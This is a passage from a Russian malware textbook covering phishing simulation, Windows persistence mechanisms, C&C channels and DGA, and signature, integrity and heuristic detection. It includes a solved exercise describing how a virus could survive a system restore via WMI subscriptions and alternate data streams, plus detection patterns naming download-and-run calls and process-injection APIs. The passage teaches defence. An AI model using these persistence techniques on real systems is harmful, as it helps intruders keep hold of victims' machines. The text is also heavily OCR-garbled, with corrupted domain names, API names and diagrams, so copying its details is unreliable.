Психологические триггеры работают безотказно, страх штрафа или увольнения
заставляет действовать быстро и необдуманно.
Легитимные инструменты (PowerShell, скрипты, макросы) используются так, что
антивирус не всегда может отличить гредоносную активность от нормальней
работы.
Защита от социальной инженерии — это не только технические средства
(фильтрация почты, блокировка макросов), но и постоянное обучение
персонала, формирование культуры бдительности, чёткие регламенты
действий при подозрительных сообщениях.
| Задачи к подразделу 6.2
1. Разработайте учебный сценарий симуляции фишинговой рассылки
(безопасно) для тестирования бдительности сотрудников.
Решение.
Сценарий учебной фишинговой симуляции «Срочное обновление
пароля»
1. Цель: оценить процент сотрудников, которые перейдут по ссылке и введут
свои учётные данные на поддельной странице.
2. Легенда: сотрудникам приходит письмо от имени ИТ-отдела (адрес похож на
настоящий, но с доменом-ловушкой, например it-sjpport@company-
secure.com вместо it@coinpany.com). Тема: «Срочно! Завтра истекает срок действия
вашего пароля» Е теле письма сообщается, что все пароли будут сброшены, и
нужно перейти по ссылке, чтобы сохранить текущий. Ссылка ведёт на
поддельную страницу входа, имитирующую корпоративный портал.
3. Меры безопасности:
о Использовать изолированный домен и хостинг,
о Не собирать реальные пароли- достаточно факта ввода любого текста в поля.
о Чётко ограничить круг участников (с уведомлением руководства), исключить
критический персонал.
о После перехода по ссылке пользователь сразу видит учебное сообщение: «Это
была симуляция. Вы попались на фишинг. Ознакомьтесь с памяткой».
4. Анализ результатов: собрать статистику кликов, ввода данных, жалоб в ИТ-
отдел. Провести разбор на общем собрании без наказания, с объяснением
признаков фишинга.
5. Последующее обучение: всем участникам направить короткий курс по
распознаванию фишинга
2. Проанализируйте реальное письмо-ловушку, разобрав 5 признаков его
вредоносности.
Пример анализа письма:
Письмо якобы от «налоговой службы» с темой «Уведомление о
задолженности».
1 Адрес отправителя: noreply@nalog.gov-support,ru — домен не совпадает с
официальным (naloq.Qov.ru), добавлено -support.
2. Срочность и угроза: «Если вы не оплатите г- течение 24 часов, будет наложен
арест на счета». Давление с целью заставить действовать импульсивно.
3, Вложение: файл zadoizhennost.docx.iso — двойное расширение, скрывающее
истинный тип (ISO-образ, внутри которого вредоносный скрипт). Официальные
органы обычно присылают PDF.
4. Орфография и оформление: корявый русский язык, странное
форматирование, отсутствует обычная шапка документа с реквизитами.
5. Ссылка в теле: вместо портала госуслуг — левый URL, при наведении
показывает адрес на бесплатном хостинге.
3. Почему двухфакторная аутентификация не спасёт, если пользователь
сам запустил троян-стилер?
Решение:
Двухфакторная аутентификация (2FA) защищает от кражи пароля, но не от
кражи активной сессии Троян-стилер (например, RedLine Stealer) ворует не
только сохранённые пароли, но и cookies, токены сессий. Имея украденный
сессионный файл, злоумышленник может импортировать его в свой браузер и
зайти в аккаунты без ввода пароля и 2FA, так как сессия уже
аутентифицирована. Кроме тою, стилер может перехватывать 2РА-коды, если
пользователь хранит их в том же браузере (расширения-генераторы ТОТР).
Таким образом, троян обходит 2FA, воруя не учётные данные, а само
доказательство аутентификации.
6.3. Методы закрепления в системе и обеспечение живучести
Попасть в систему мало — нужно остаться в ней надолго. Вредоносные
программы используют множество механизмов автоматического запуска,
чт .бы пережить перезагрузку, выход из системы и даже попытки удаления.
Точки автозагрузки в Windows:
• Run-Ключи реестра: HKLM\Software\Microsoft\Windows\CurrentVersion\Run И
аналогичный в нкси Простейший способ — прописать путь к исполняемому
файлу.
• Планировщик задач (Task Scheduler): создание задачи с триггером при входе
в систему, при простое, при запуске, с повышенными привилегиями. Более
гибкий и скрытный метод, чем Run-ключи.
• Службы (Services): регистрация вредоносного драйвера или службы, которая
запускается с системой. Требует высоких привилегий.
• Папка Startup: C:\Users\<User>\AppData\Rcaming\Microsoft\Windows\Start
Menu\Programs\startup — для текущего пользователя, или общая
• WMI-события: постоянная подписка на события (например, запуск системы),
которая выполняет скрипт. Трудно обнаруживается без специализированных
утилит.
• AppInit DLLs / AppCertDlls: реестрные ключи, заставляющие системные DLL
загружаться в каждый процесс, что позволяет внедрить код глобально.
Boot Execute (BootExecute): утилиты, запускаемые до входа в систему
(например, autochk), могут быть подменены.
Двухфазное заражение: сначала жертве доставляется небольшой загрузчик
(дроппер), который сам по себе выглядит безобидно или вообше является
легитимным файлом (например, утилита с уязвим,остью для DLL sideloading).
Дроппер скачивает основное вредоносное тело из интернета или извлекает его
из своей скрытой секции. Это позволяет обходить эвристики на этапе
первоначальною проникновения.
Защита от удаления (Watchdog): вредоносная программа может состоять из
двух процессов или служб, которые контролируют друг друга Если один
завершен, другой перезапускает его. Также используются чередующиеся
задачи в планировщике, восстанавливающие ключи реестра, если антивирус их
удалил. Альтернативные потоки NTFS (ADS) — запись данных в скрытый поток
файла, чтобы пережить удаление основного файла (хотя современные
антивирусы проверяют и потоки).
| Задачи к подразделу 6.3
1. Составьте mindmap всех известных вам методов автозагрузки в
Windows 11.
Решение (текстовая структура mindmap):
• Реестр
О Run/ RunOnce (HKLM, HKCU)
о RunServices I RunServicesOnce
о Applnit_DLLs
о AppCertDHs
о Winlogon\Shell, Userinit, Taskrnan (подмена оболочки)
о BootExecute
• Планировщик задач
о Триггеры: At logon, At startup, On idle, On event
о Скрытые задачи (в папках Microsoft)
• Службы и драйверы
о Windows Services (Svchost-hosted)
о Kernel drivers (Boot-start System-start)
• Папки автозагрузки
о Пользовательская Startup
о Общая Startup
• WMI-подписки
о _FilterToConsumerBinding (скрипты по событиям)
• Ярлыки
о Подмена ярлыков программ (LNK hijacking)
• Образ выполнения
о Image Fne Execution Options (IFEO) — отладчик для процесса (может
использоваться для перехвата)
о Sticky Keys, Utilman (замена системных утилит на рабочем столе входа)
• DLL Side-Loading / Proxying
о Размещение вредоносной DLL в директории легитимного приложения для
3ai рузки при ею запуске
• СОМ-объекты
о Регистрация вредоносного COM-сервера, загружаемого explorer.exe или
другими процессами
• Сценарии входа
о Logon Scripts (в GPO или реестре)
2. Придумайте и опишите технику, используя которую вирус мог бы
пережить восстановление системы из точки восстановления.
Решение:
Вирус может разместить своё тело в директории, которая не отслеживается
восстановлением системы, или использовать альтернативные потоки (ADS)
системных файлов, которые могут сохраниться после отката. Еще более
надёжный метод — заразить файлы, находящиеся за пределами стандартных
мониторируемых каталогов (например, ProgramData, папки профиля, но не
системные файлы), и прописать автозагрузку в WMI или планировщик задач.
Точки госстановления обычно не затрагивают пользовательские данные и
некоторые ветки реестра целиком. Если вирус использует WMI-подписку, она
сохранится, так как WMI-репозиторий не откатывается (или откатывается не
полностью). После восстановления системы триггер выполнит скрипт, который
заново развернет вирус. Еще одна техника —заражение файла-образа
восстановления (если зирус имеет доступ к каталогу System Volume Information,
но это требует SYSTEM-прав и обхода защиты).
3. Проведите аудит собственного ПК: найдите все сторонние записи в
автозагрузке и опишите их назначение.
Решение (практическое задание, пример выполнения):
Используя утилиту Autoruns от Sysinternals:
• Запустить Autoruns от имени администратора.
• Включить проверку цифровых подписей (Options -* Verify Code Signatures).
• Скрыть записи Microsoft (Options -» Hide Microsoft Entries) — останутся
сторонние.
• Проанализировать каждую оставшуюся запись в разделах Logon, Services,
Scheduled Tasks, Explorer WMI.
Для каждой записи выяснить, что это за программа, установлена ли она
легитимно (например, обновлялка Adobe, OneDiive, агент антивируса) Описать
её.
Если обнаружена неизвестная запись без подписи — это повод для
углубленного исследования. Возможно, вредоносная.
Примерный результат: «Обнаружены: OneDrive в Run, утилита графического
драйвера NVIDIA, служба облачного хранилища Все подписаны и известны.
Неизвестных нет».
6.4. Коммуникация с управляющими серверами (С&С)
Современный вредоносный код редко действует автономно. Ему нужны
инструкции, обновления, а также канал для эксфильтрации украденных данных.
Для этого используется Command and Control (С&С, С2) — инфраструктура
управления зараженными хостами.
Топологии С&С:
Централизованная: все боты соединяются с одним сервером (или
несколькими фиксированными IP/доменами), Простота управления, но
уязвимость: если сервер заблокирован или захвачен, ботнет умирает
P2P (peer-to-peer): боты общаются друг с другом, образуя распределённую
сеть без единою центра. Команды распространяются по цепочке. Такую сеть
трудно уничтожить (пример: Storm Worm, Gameover ZeuS).
Гибридная: используются прокси-узлы, часть из которых служит шлюзами к
скрытым С&С-серверам.
Каналы связи:
HTTP/HTTFS — самый распространённый, трафик маскируется под обычный
веб-сёрфинг.
DNS-туннелирование — команды кодируются в DNS-запросах и ответах,
обходя брандмауэры.
Использование легитимных сервисов: публикация команд в зашифрованных
записях Twitter, описаниях видео на YouTube, в комментариях к публичным
статьям.
Telegram, Discord, Slack — мессенджеры с API, используемые как канал
управления
Domain Generation Algorithm (DGA): чтобы защитники не могли просто
заблокировать один домен, вредоносная программа генерирует сотни или
тысячи потенциальных доменов в день по псевдослучайному алгоритму
Владельцу ботнета достаточно зарегистрировать один из них, чтобы
восстановить контроль. Защитникам же нужно вычислить алгоритм и
превентивно блокировать или регистрировать все возможные домены на
будущее.
Обнаружение С&С-каналов — одна из ключевых задач сетевой защиты
анализируются аномалии в трафике (периодические «биения», нестандартные
DNS-aanpocoi, подключения к молодым доменам), используются
репутаиионные базы IP/URL, машинное обучение.
| Задачи к подразделу 6.4
1. Почему Р2Р-ботнет сложнее ликвидировать, чем централизованный?
Решение.
В централизованной модели все боты знают адрес одного или нескольких
управляющих серверов. Если правоохранительные органы находят и
отключают эти серверы (или берут под контроль), связь со всей сетью
прерывается, и ботнет становится неуправляемым. В Р2Р-сети каждый бот
хранит список адресов других ботов (пиров) и обменивается с ними
командами. Единой точки отказа нет. Чтобы уничтожить сеть, нужно отключить
значительную её часть одновременно, что практически невозможно. Кроме
того, Р2Р-протоколы часто используют шифрование и аутентификацию, что
мешает внедрить ложные команды.
2. Смоделируйте алгоритм DGA, генерирующий 100 доменов в день; как
аналитик может вычислить такой алгоритм?
Решение:
Пример алгоритма DGA (упрощённый):
1. Взять текущую дату в формате YYYYMMDD.
2. Вычислить МС>5(дата + «секретное_слово»).
3. Взять первые 12 символов хеша, преобразовать в буквы (а-p), добавить домен
верхнего уровня (.com, .net, .biz).
4. Генерировать 100 доменов, меняя «секретное_слово» или сдвигая позицию в
хеше
Аналитик, получиь образец вредоносного ПС, реверсит алгоритм: видит, что
бот генерирует имена, основанные на дате и константной строке. Воспроизведя
алгоритм, он может зычислить все домены на будущее и заблокировать их (или
зарегистрировать для «синк-холинга» — перенаправления на безопасный
сервер). Часто DGA используют несколько seed-ов, и анализ требует эмуляции
кода или динамического анализа.
3. Предложите метод обнаружения туннелирования трафика через DNS
(DNS-туннелинг) в корпоративной сети.
Решение:
Методы обнаружения DNS-туннелинга:
1 Анализ длины DNS-запросов: легитимные имена обычно короткие. Туннели
упаковывают данные в поддомены, создавая очень длинные строки
(например, encodecpayioad.attacker.com). Мониторинг средней и максимальной
длины запросов.
2. Энтропия поддоменов: закодированные данные выглядят как случайные
символы (высокая энтропия). Легитимные имена содержат осмысленные слова.
Расчет энтропии и сигнализация при превышении порога.
3 Объём и частота запросов: туннелинг генерирует аномально большое
количество DNS-запросов от одного хоста, особенно TXT, CNAME, NULL
записей. Мониторинг статистики по типам запросов.
4. Репутация доменов: проверка, запрашиваются ли домены,
зарегистрированные недавно, с низким рейтингом, или принадлежащие DGA-
сетям
5. N-граммный анализ для выявления редко встречающихся
последовательностей символов.
6. Корреляция с другими событиями: если высокая DNS-акти -ность совпадает
с подозрительными процессами на хосте, это усиливает сигнал.
Сочетание этих техник в SIFM-системе даёт надёжное детектирование DNS-
туннелей.
6.5. Современный ландшафт: программы-вымогатели (ransomware),
вирусы для 1оТ и мобильных устройств
Программы-вымогатели (Ransomware) эволюционировали в сложную
индустрию. Современные семейства (LockBit 3.0, ALPHV/BlackCat, Clop)
применяют:
• Шифрование с вымогательством + кража данных (double extortion): перед
шифрованием данные эксфильтруются. Если жертва отказывается платить за
расшифровку, ей угрожают публикацией конфиденциальной информации.
• Ransomware-as-a-Service (RaaS): разра6о>чики нредосгавляю! партнерам
(affiliates) готовые сборки, панели управления и даже техподдержку. Прибыль
делится.
• Целевые атаки на крупный бизнес (Big Game Hunting): вместо массового
распоостранения вымогатели тщательно взламывают конкретную
организацию, закрепляются, изучают инфраструктуру и бьют в самый
критический момент, требуя миллионные рыкупы.
Мобильные вирусы нацелены на Android (iOS менее уязвима к массовому
заражению из-за закрытости экосистемы, но существуют шпионские трояны,
особенно для джейлбрейкнутых устройств). Типичные угрозы:
• Фейковые приложения в Google Play и сторонних магазинах: вымогатели,
банковские трояны (Anubis, Cerberus), стилеры.
FluBot — червь, распространявшийся через SMS со ссылкой на АРК, воровал
пароли и банковские данные.
Joker (Bread) —троян, подписывающий жертву на платные услуги без её
ведома
lol-вирусы заражают устройства интернета вещей: камеры, роутеры, умные
колонки, медицинские приборы Их особенности:
Слабые процессоры и память, отсутствие полноценной ОС, редкость
обновлений.
Ботнет Mirai (2016) заразил сотни тысяч устройств, используя заводские
логины и пароли, и организовал рекордный DDoS. Исходники были
опубликованы, что породило множество вариаций.
Опасность: зараженный loT-ботнет способен обрушить инфраструктуру, а
скомпрометированные камеры и датчики — угроза приватности и физической
безопасности (например атака на медицинские приборы).
Будущее угроз: развитие ИИ генерирует новые полиморфные вирусы,
способные адаптироваться к конкретной среде, а распространение 1оТ и 5G
расширяет поверхность атаки до бытового уровня.
I Задачи к подразделу 6.5
1. Почему атака на 1оТ-устройство (камера, роутер) может быть опаснее,
чем кажется на первый взгляд?
Решение:
На первый взгляд, взломанная камера или чайник кажутся незначительной
проблемой. Однако:
Плацдарм для атаки: 1оТ-устройство обычно находится во внутренней сети,
обходя брандмауэр. Злоумышленник может использовать его как прокси для
атаки на более ценные цели внутри сети (компьютеры, серверы).
Ботнеты для DDoS: множество взломанных 1оТ-устройств суммарно создают
огромный сетевой ресурс, способный обрушить даже крупные интернет-
сервисы.
Угроза приватности: взлом камеры или микрофона позволяет вести
наблюдение, шпионить за личной жизнью или корпоративными секретами.
Физическая опасность: атака на медицинское 1оТ (кардиостимуляторы,
инсулиновые помпы) или на системы умного дома (замки, сигнализации,
управление 1азом) может прямо угрожать жизни.
Отсутствие мониторинга: большинство пользователей не следят за
обновлениями прошивки роутера или камеры, поэтому заражение остается
незамеченным годами.
2. Исследуйте случай вируса FluBot для Android: как он распространялся и
какие разрешения запрашивал.
Решение:
FluBot (2021-2022) — банковский троян для Android, распространявшийся
через SMS-фишинг (smishing). Жертва получала SMS якобы от службы доставки
с ссылкой на установку АРК-файла. При установке FluBot запрашивал
разрешения:
Доступ к уведомлениям (Notification Listener) —для перехвата входящих SMS с
одноразовыми кодами.
Чтение и отправка SMS — для кражи кодов и распространения на контакты
жертвы.
Наложение поверх других окон (Overlay) —для показа фишинговых экранов
поеерх легитимных банковских приложений.
Доступ к контактам —для рассылки новых SMS-приманок.
После заражения он воровал учётные данные, перехватывал 2РА-коды и
автоматически распространялся, используя адресную книгу, создавая лавину
заражений Блокировка FluBot потребовала скоординированных усилий
правоохранительных ор1анов и операторов связи нескольких стран.
3. Спрогнозируйте, как изменится ландшафт вымогателей с развитием
квантовых компьютеров (угроза взлома современных алгоритмов
шифрования).
Решение.
Квантовые компьютеры, способные выполнять алгоритм Шора, смогут
взламывать асимметричную криптографию (RSA. ЕСС), на которой основаны
многие схемы вымогателей (генерация ключевой пары, защищённая отправка
ключа на С&С). Сценарии.
Разрушение модели вымогательства: если ключи шифрования можно будет
вычислить без выплаты выкупа, экономическая модель ransomware рухнет
Переход на постквантовую криптографию: вымогатели начнут использовать
алгоритмы, устойчивые к квантовому взлому (CRYSTALS Kyber, Falcon). Это
гонка: кто быстрее адаптируется — защитники или злоумышленники.
Атаки с отложенной расшифровкой: злоумышленники могул начать собирать
зашифрованные квантово-уязвимые данные сейчас, чтобы расшифровать их,
когда квантовые компьютеры станут доступны (store now, decrypt later). Это
повысит требования к длине ключей и срочности перехода на постквантовые
стандарты.
Появление квантового шифрования: в идеале развитие квантовых сетей и
распределения ключей может сделать перелват ключей физически
невозможным, но это далёкая перспектива.
Таким образом, квантовая угроза может как уничтожить текущие схемы
вымогательства, так и подтолкнуть к созданию более совершенных и опасных
их версий.
ЧАСТЬ III. ОБНАРУЖЕНИЕ ВРЕДОНОСНЫХ ПРОГРАММ.
Глава 7. Классические методы обнаружения.
Прежде чем погружаться е дебри машинного обучения и поведенческого
анализа, необходимо понять фундамент, на котором десятилетиями стояла
антивирусная индустрия. Классические методы — сигнатурный анализ и
контроль целостности — кажутся архаичными на фоне современных EDR
систем, но именно они до сих пор остаются первым, самым быстрым и
дешевым эшелоном обороны. Их изучение даёт ключ к пониманию
того, почему появились полиморфные вирусы, как работает эмуляция кода
и откуда взялась концепция «окна уязвимости».
7.1. Сигнатурный анализ: базы данных уникальных
фрагментов кода
Суть метода
Представьте себе картотеку преступников с отпечатками пальцев. Как только
на месте преступления найден отпечаток, его сравнивают с картотекой — и
если совпадение есть, личность установлена В антивирусном мире роль
«отпечатка пальца» играет сигнатура — уникальная последовательность байт,
однозначно идентифицирующая конкретный вредоносный образец или целое
семейство.
Сигнатура — это не случайный фрагмент Это тщательно выбранная вирусным
аналитиком строка байт, которая:
Уникальна — не встречается в легитимном программном обеспечении.
Стабильна — не изменяется при репликации вируса (по крайней мере, в
рамках одного штамма).
Компактна — обычно от 16 до 64 байт, чтобы поиск по базе был быстрым.
Процесс создания сигнатуры — это детективная работа. Получив новый
образец аналитик помещает его в изолированную среду, дизассемблирует,
изучает алгоритм. Затем он ищет участок кода, который является «сердцем»
вируса — например, процедуру заражения файлов или уникальную строку,
которую вирус выводит на экран. Этот участок проверяется по коллекциям
чистых файлов (чтобы исключить ложные срабатывания), и если он
действительно уникален — становится сигнатуоой.
Виды сигнатур:
Байтовые сигнатуры — классический и самый распространённый тип.
Например, последовательность Е8 00 00 00 ее ьз 81 ев... может
идентифицировать конкретный вирус.
Хеш-суммы всего файла (MD5, SHA-256) — используются для быстрой
идентификации неизменённых образцов Бесполезны протии полиморфных
вирусов
Регулярные выражения — для скриптовых вирусов, где важны не конкретные
байты, а паттерн (например, наличие вызовов wscript.shell.Run в сочетании
С DownloadFile).
Сигнатурный анализ и полиморфизм: фундаментальная проблема
Здесь кроется ахиллесова пята сигнатурного подхода Полиморфный вирус при
каждой репликации генерирует новый код расшифровщика: меняет регистры,
переставляет инструкции, добавляет мусорные команды Расшифровщик двух
экземпляров одного и того же вируса будет выглядеть совершенно по-разному
на байтовом уровне.
Если аналитик по ошибке выберет сигнатуру из области расшифровщика,
произойдёт катастрофа: такая сигнатура обнаружит лишь те экземпляры, где
расшифровщик случайно совпал с исходным — исчезающе малую долю
популяции. Вирус будет безнаказанно размножаться, а антивирус — молчать.
Правильная стратегия: дождаться расшифровки вируса. Для этого антивирус
запускает код в эмуляторе — виртуальном процессоре, который пошагово
выполняет инструкции, нс в изолированной среде. Эмулятор дает
расшифровщику отработать, и как только в памяти появляется
расшифрованное тело вируса — вот оно, неизменное ядро. Именно из него и
нужно выбирать сигнатуру. Этот принцип иллюстрирует схема ниже.
text
ВЫБОР СИГНАТУРЫ ПОЛИМОРФНОГО ВИРУСА
Экземпляр А
I i Расшифровщик А < (случ регистры, перест. блоки, мусор) код разный
I I I I | ЗАШИФРОВАННОЕ | | ТЕЛО ВИРУСА | I I
Экземпляр В
------------------1
| Расшифровщик В I «- код разный!
(другие регистры, |
иной порядок,
другой мусор)
зашифрованное
тело ВИРУСА
----------------------1
ЭМУЛЯТОР (эмуляция I
выполнения кода)
I-----------------------1
| РАСШИФРОВАННОЕ ТЕЛО |
| (одинаково для А и В)|
I I
| СИГНАТУРА «- вот отсюда берём!
Процесс извлечения сигнатуры: пошаговый алгоритм аналитика
Процедура создания надёжной сигнатуры — это строгий протокол, нарушение
которого ведёт либо к пропуску угрозы, либо к ложным срабатываниям.
Шаг 1. Изоляция образца.
Образец помещается в виртуальную машину со снапшотом (мгновенным
снимком состояния). Никакого сетевого доступа, кроме эмулированного. Все
действия протоколируются.
Шаг 2. Статический анализ.
Не запуская файл, аналитик изучает его структуру:
Определяет тип файла (РЕ, ELF, Mach-O, скрипт).
Снимает строки (strings) — иногда URL или имена файлов видны
невооружённым глазом.
Проверяет энтрспию секций: высокая энтропия -» данные зашифрованы или
упакованы.
Анализирует таблицу импорта подозрительные комбинации API-функций
(VirtualAlloc + CrcateRemoteThread + WriteProcessMemory).
Шаг 3. Динамический анализ.
Образец запускается под мониторингом. Инструменты вроде Process Monitor и
Wireshark записывают каждое изменение в файловой системе, реестре и
сетевую активность Аналитик наблюдает: какие файлы созданы, какие ключи
реестра изменены, куда ушли сетевые пакеты.
Шаг 4. Выбор сигнатуры.
Если образец не упакован, аналитик просматривает дизассемблированный код
и ищет уникальную последовательность байт длиной 16-64, которая не
содержит изменяемых адресов (например, не ссылается на конкретные
смещения в памяти).
Если образец упакован или зашифрован, его запускают в отладчике, дают
выполниться до распаковки, делают дамп памяти — и уже в нём ищут
сигнатуру.
Шаг 5. Проверка на ложные срабатывания.
Выбранная последовательность проверяется по «белой» коллекции — сотням
тысяч чистых файлов различных версий ОС и популярного ПО. Если
совпадений нет — сигнатура валидна.
Шаг 6. Публикация.
Сигнатура добавляется в базу с указанием семейства, референсного хеша
образца и, возможно, алгоритма лечения. Антивирусные вендоры
обмениваются такими базами через консорциумы (например. VirusTotal).
Какие файлы имеют сигнатуры?
Вопреки расхожему мнению, сигнатуры существуют не только для .ехе и .dll
Вредоносный код может скрываться в самых разных форматах, и для каждого
разрабо1аны свои chi натурные базы:
Документы Office с макросами (.docm, .xism) — сигнатуры ищутся в теле
макросов VBA.
PDF-файлы — вредоносный JavaScript внутри PDF.
Архивы (.zip, .гаг) — сигнатуры для известных вредоносных сборок.
Изображения — стеганографические контейнеры.
Ярлыки Windows (.ink) — модифицированная командная строка.
Скрипты (.vbs, .psi, . js)— характерные паттерны обфускации или вызовов
Java-апплеты (.jar), пакеты Android (.apk).
Для скриптовых угроз сигнатуры часто представляют собой не жёсткую
последовательность байт, а ре1улярные выражения, описывающие структуру
вредоносного кода.
7.2. Контроль целостности системы: подсчёт контрольных
сумм и хешей
Идея ревизора
Сигнатурный анализ ищет известное плохое. Контроль целостности (ревизор)
ищет любое изменение на чистой системе. Идея проста и элегантна: сразу после
установки ОС и всего необходимого ПО снимаются эталонные хеши всех
критичных файлог. и ключевых секторов диска. В дальнейшем, при каждой
проверке текущие хеши сравниваются с эталонными Любое расхождение —
тревожный сигнал, либо файл повреждён, либо модифицирован вирусом.
Исторический пример — российская программа Adinf (Advanced Disk
INFoscope), созданная Дмитрием Мостовым в начале 1990-х. Её ключевая
особенность заключалась в том, что она читала сектора диска напрямую через
BIOS (прерывание INT Bh), минуя операционную систему. Это позволяло
обнаруживать стелс-вирусы, которые перехватывали файловые API и
«показывали» антивирусу чистые файлы вместо зараженных Adinf смотрела на
диск «голыми глазами» и видела реальное положение дел.
Современные реализации
Сеюдня контроль целостности глубоко интетрирован в операционные
системы:
Windows: SFC (System File Checker, sfc /scannow) проверяет целостность
защищённых системных файлов и восстанавливает их из кэша.
Windows: Driver Signature Enforcement — запрещает загрузку неподписанных
драйверов.
UEFI Secure Boot - проверяет цифровые подписи загрузочного кода на этапе
до старта ОС.
Linux: AIDE, Tripwire — классические ревизоры с базой эталонных хешей.
Принципиальная схема работы ревизора
text
I--------------------------------------------------------------------1
| ПРИНЦИП КОНТРОЛЯ ЦЕЛОСТНОСТИ (РЕВИЗОР) |
I____________________________________________________________________I
I------------------------1
| ЧИСТАЯ СИСТЕМА |
(сразу после
установки)
----------------------1
ПОСТРОЕНИЕ ЭТАЛОНА |
• Хеширование
критичных файлов
• Хеширование MBR
• Хеширование ключей|
реестра
-» База эталонов
I
I
(проходит время, возможное заражение)
I
▼
—
ПЕРИОДИЧЕСКАЯ |
| ПРОВЕРКА |
• Текущие хеши vs
эталонные
I------------------1 I-----------1
| Хеши совпали | | Хеши РАЗНЫЕ
| -> Система I | -> ТРЕВОГА! |
чиста | | Возможно
заражение
I__________________I I___________I
Ограничения метода
Почему же ревизоры в чистом виде почти исчезли из арсенала антиЕгирусов?
Причины следующие:
1. Запаздывание. Проверка запускается по расписанию (раз в день, раз в
неделю), а вирус за это время уже активировался, зашифровал данные и
удалился.
2. Ложные срабатывания. Легитимные обновления ОС и приложений меняют
сотни файлов. Без гонкой настройки исключений ревизор будет «кричать»
после каждого Patch Tuesday.
3. Неспецифичность. Ревизор сообщает: «файл изменён», но не
говорит, кем и почему. Эю может быть вирус, а может — запланированное
обновление.
А. Обход через стеле на уровне API. Современные стелс-вирусы перехватывают
запросы на чтение файлоз, и ревизор, работающий через API ОС, увидит
подставленные «чистые» данные.
Современные антивирусы интегрировали идею контроля целостности в
постоянный мониторинг файловых операций в реальном времени. Вместо
периодической сверки хешей драйвер фильтра файловой системы
перехватывает каждую операцию записи и анализирует ее контекст: какой
процесс пишет, в какой файл, с какими параметрами. Это быстрее, точнее и не
требует построения громоздких эталонных баз.
7.3. Ограничения сигнатурного подхода и проблема лага
обновлений
Окно уязвимости
Фундаментальный недостаток сигнатурного анализа — его реактивность.
Сигнатура не может быть создана до появления вируса. Цикл «появление
угрозы -» попадание образца к аналитику -> реверс-инжиниринг — создание
сигнатуры -» тестирование -> доставка пользователям* занимает часы, а в
случае сложных угроз — дни
text
I------------------------------------------------------------------1
| ПРОБЛЕМА «ОКНА УЯЗВИМОСТИ»
I__________________________________________________________________J
I------1 I-------------1 I------------
| ВИРУС|—►! ПЕРВЫЕ |—►! АНАЛИТИК
|ВЫПУЩ.| | ЗАРАЖЕНИЯ| | ПОЛУЧАЕТ
III || ОБРАЗЕЦ
I______I I_____________I I____________
|— ►! СИГНАТУРА
| ДОСТАВЛЕНА |
| пользователям!
ОКНО УЯЗВИМОСТИ
(часы или дни, вирус
распространяемся свободно)
Примеров катастрофических последствий этого окна множество. Червь SQL
Slammer (2003) за 10 минут заразил 75 000 серверов — быстрее, чем кто-либо
успел отреагировать. Conficker (2008) заразил миллионы машин, включая сети
министерств обороны, и сигнатуры просто не поспевали за его
распространением.
Другие недостатки сигнатурного метода
Беспомощность перед таргетированными атаками. Если вирус написан для
единственной цели и никогда не попадает в публичные коллекции, сигна1ура
для него никогда не будет создана.
Бессилие против fileless-угроз. Вредоносный код, живущий только в памяти,
не оставляет файла для сканирования.
Хрупкость перед обфускацией. Даже простая замена одного байта может
сломать сигнатуру.
Комбинаторный рост баз. За десятилетия базы сигнатур разрослись до
десятков миллионов записей. Проверка каждого файла по такой базе требует
всё больше ресурсов.
Почему сигнатуры всё ещё с нами?
Несмотря на все недостатки, си(на1урный подход не исчез Причина вею
уникальных достоинствах:
Нулевой процент ложных срабатываний (при грамотно составленной
сигнатуре).
Минимальные вычислительные затраты — поиск подстроки i файле
чрезвычайно быстр.
Детерминированность и объяснимость — в отличие от ML, где вердикт
может быть загадкой., сигнатура даёт чёткий ответ: «вот этот фрагмент кода
принадлежит вирусу X».
В современной архитектуре зашиты сигнатуры — это первый, самый быстрый
фильтр, который отсекает 99% массовых угроз, освобождая ресурсы для более
тяжелых эвристических и поведенческих методов.
Гибридный подход: компенсация окна уязвимости
Современная стратегия зашиты от новых угроз г первые часы эпидемии
опирается на многоуровневую архитектуру:
text
ГИБРИДНЫЙ ПОДХОД: ЗАЩИТА В ПЕРВЫЕ ЧАСЫ ЭПИДЕМИИ
ПОЯВЛЕНИЕ НОВОГО ВИРУСА
1 1 1- 1 1 1 1 1 ОБЛАЧНАЯ РЕПУТАЦИЯ | «- Задержка: минуты 1 1 1 Хеш неизвестного файла проверяется в облаке Если кто-то в мире уже встретил э^от файл и он признан вредоносным - мгновенная блокировка для всех.
(если облако не ▼ дало ответа)
1 1 2. 1 1 1 1 1 ЭВРИСТИКИ И HIPS I < Задержка: миллисекунды] 1 1 1 - Поведенческий анализ на конечной точке. Массовое изменение файлов, сканирование сети, подозрительные цепочки вызовов блокируются без сигнатуры.
1 ▼
з. 1 1 1 1 АВТО-ГЕНЕРАЦИЯ | < СИГНАТУР | Задержка: 15-30 минут 1 н- Облачный ИИ в песочнице анализирует образец и создаёт временную сигнатуру. Распространяется на всех пользователей.
1 ▼
1 1 4. 1 1 1 1 КАРАНТИН ПО УМОЛЧАНИЮ| «- 1 1 1 Неизвестные файлы запускаются в ограниченном режиме или блокируются до получения облачного вердикта.
Такой эшелонированный подход сокращает эффективное «окно уязвимости» с
дней до минут, не отказываясь от дешёвого и надежного сигнатурного метода
как финального рубежа идентификации.
Глава 8. Эвристический и проактивный анализ.
Сигнатурный метод, рассмотренный в предыдущей главе, подобен фотороботу:
он ищет точное совпадение с уже известным преступником. Но как быть с
угрозами, у которых ещё нет «фотографии»? Для этого существуют
эвристические и проактивные методы — они не ищут конкретный вирус, а
выявляют подозрительность как свойство. Подобно опытному полицейскому,
который замечает тревожные признаки в поведении прохожего,
эвристический анализатор сканирует код и события в поисках паттернов,
характерных для вредоносной активности.
Эта глава рассматривает три ключевых направления: статическую эвристику
(анализ без запуска), динамическую эвристику (эмуляция выполнения) и
поведенческий анализ в реальном времени (HIPS). Вместе они образуют
второй, проактисный эшелон защиты, закрывающий «окно уязвимости»
сигнатурного метода.
8.1. Статический эвристический анализ: подозрительные
инструкции без запуска
Суть метода
Статический эвристический анализатор напоминает сапёра, изучающего
чертеж взрывного устройства, не прикасаясь к нему. Он исследует файл, не
выполняя его код, и ищет комбинации признаков, которые редко встречаются
в легитимном ПО, но типичны для вредоносного Решение принимается не по
жёсткому совпадению с сигнатурой, а по совокупности «улице».
Преимущество — колоссальная скорость. Анализатор способен проверить
тысячи файлов в секунду, поскольку не тратит время на эмуляцию или запуск.
Именно поэтому статическая эвристика — это первый рубеж после chi натур.
Недостаток — более высокий процент ложных срабатываний. Эвристика
оперирует вероятностями, а не детерминированными совпадениями, и иногда
«подозрительным» оказывается редкое, но совершенно легитимное ПО
Признаки, на которые опирается статическая эвристика
Анализатор проверяет сотни параметров, но все их можно сгруппировать в
